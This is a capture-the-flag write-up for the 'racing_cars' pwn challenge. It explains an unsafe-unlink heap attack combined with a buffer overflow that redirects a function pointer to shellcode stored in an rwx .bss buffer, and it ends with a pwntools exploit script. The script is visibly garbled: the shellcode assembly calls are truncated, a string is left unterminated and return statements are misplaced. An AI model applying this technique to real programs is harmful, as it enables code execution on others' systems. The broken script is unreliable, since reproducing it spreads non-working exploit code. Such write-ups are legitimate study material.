Racing cars

Author: d1g174l_f0rtr355

Description: Welcome to the Incredibles! Win the race and get the flag!

For this challenge, we got first blood! Whoop whoop!

We are given a binary. When we run it, we are asked to first choose a car from the list, fill our name, occupation and address. It looks like this:

➜  racing_cars ./racing_cars
    Welcome to the Incredibles
To compete in the race you need to first buy a car!

The price of each car is given below:
1. Lexus RC F GT3 (Emil Frey Racing):	485470795
2. Porsche 911 RSR (991):				1890391922
3. Mercedes-AMG GT3:					1382811152
4. Toyota FT-1 Vision Gran Turismo:		2058719150
5. Renault Sport R.S.01 GT3:			1435867700

Choose your car: 1

Enter your details before you begin the race
Name: maritio_o

Occupation: foo    

Address: bar

Sorry you lost the race! Try again later :)

We started by reversing the binary, and it was soon clear that a linked list was used to hold the information we input after choosing a car. This leads us to the unsafe-unlink vulnerability. There is no validation on the linked list element during unlink. Unlinking the middle element is done in the end of the main function.

When choosing your car, 0x32 (50) bytes of your choice is stored in a buffer that lies in the .bss memory region. It was a little suspicious, because if the area is not writeable and executable, this challenge could be quite tricky. We checked the permissions, and indeed the memory region was rwx. This means that we can put shellcode there!

We also found a buffer overflow vulnerability in the function reading input from stdin for name, occupation, and address. It allowed reading 0x100 (256) bytes of data into a buffer of size 0x20 within the linked list element. The linked list elements have the following structure:

struct __packed struct1
	int32_t idx;
	char buf[0x20];
	struct struct1* next;
	struct struct1* prev;

Another thing we noticed was that the very last thing that happens before the return of the main function is a call to a function pointer.

So summed up, this is the code flow:

  1. Save chosen car input to buffer in .bss memory
  2. Ask for inputs about information and save in linked list
  3. Unlink
  4. Call function pointer

Having a rwx memory region we can write to, an unsafe-unlink and buffer overflow vulnerability, we can create a plan. The plan is to put shellcode into the .bss memory region, then use the buffer overflow to set fake next and previous elements into the middle list element. When the code unlinks the middle element, we manipulate the function pointer to point to the .bss memory region and our shellcode is run when the function pointer is called!

This sounds easy, but we left out a really tricky part… This is hella confusing. Thing is, the unlinking function does the following. It puts the current element’s next element into the previous’ next element. Oh lord… Just read the code below. Or google how linked lists and unlinking works. This is impossible to write well. Lol.

	l_struct->prev->next = l_struct->next;
	l_struct->next->prev = l_struct->prev;  // this is the one we abuse

Since there is no validation during unlink, we can assign content to a memory address. To do this, we set the following structure to list element:

	struct __packed struct1
0000	int32_t idx;
0004	char buf[0x20];
0024	struct struct1* next;  // address to function pointer - offset to prev
0028	struct struct1* prev;  // address to buffer in .bss

The reason behind substracting the offset of prev in the fake next-element is that when unlinking, struct->fake_next->prev points to the 0x28th byte in the fake next-element, but we want it to point to the beginning of the fake next-element. Our fake next-element doesn’t even have a prev, it only contains the address to the function pointer.

Hope that was clear. Hehe.

Okay, so how do we do this? I wrote these steps which are mirrored in my solution script:

  1. Choose car, but send shellcode that is less than 0x32 (50) bytes. If the shellcode is to long, the linked list element messes with it. Therefore, our shellcode which is run at the very end of the main function asks for more shellcode which is immediately executed (clever!)
  2. Send random input for Name and Occupation
  3. Use unsafe-unlink as described above as the input to Address because this one is in the middle of the linked list. The unsafe-unlink vulnerability does not work if one cannot change both the element before and after, also it is the only one that is unlinked
  4. When unlinking is done, the fake next-element which now is an address to our function pointer gets the content of our fake prev-element which contains the shellcode
  5. We don’t really need to do more, calling the function pointer is next in line in the code and our shellcode should run!

Here is the solution script:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host --port 32766 racing_cars
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('racing_cars')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./ GDB PORT=4141
host = args.HOST or ''
port = int(args.PORT or 32766)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./ GDB
gdbscript = '''
tbreak *0x{exe.entry:x}

#                    EXPLOIT GOES HERE
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments

addr_function_pointer = 0x804c044
addr_buf = 0x804c080

io = start()

# .bss rwx memory
# shellcode = p8(0xcc)  # int3, breakpoint instruction to verify shellcode
shellcode = asm(, addr_buf, 0x100)) 
io.sendlineafter("Choose your car: ", shellcode)

# index 0
payload = "Blip"
io.sendlineafter("Name: ", payload)

# index 2
payload = "Blop"
io.sendlineafter("Occupation: ", payload)

# index 1
# overwrite with fake next and prev to assign the address of our shellcode
# to the function pointer
prev_offset = 0x28
next_element = addr_function_pointer - prev_offset  
prev_element = addr_buf
# create linked list element
payload = b"A" * 0x20
payload += p32(next_element) 
payload += p32(prev_element)
io.sendlineafter("Address: ", payload)

# shellcode in .bss asks for more shellcode
shell = asm(
io.sendline(p8(0x90) * 0x20 + shell)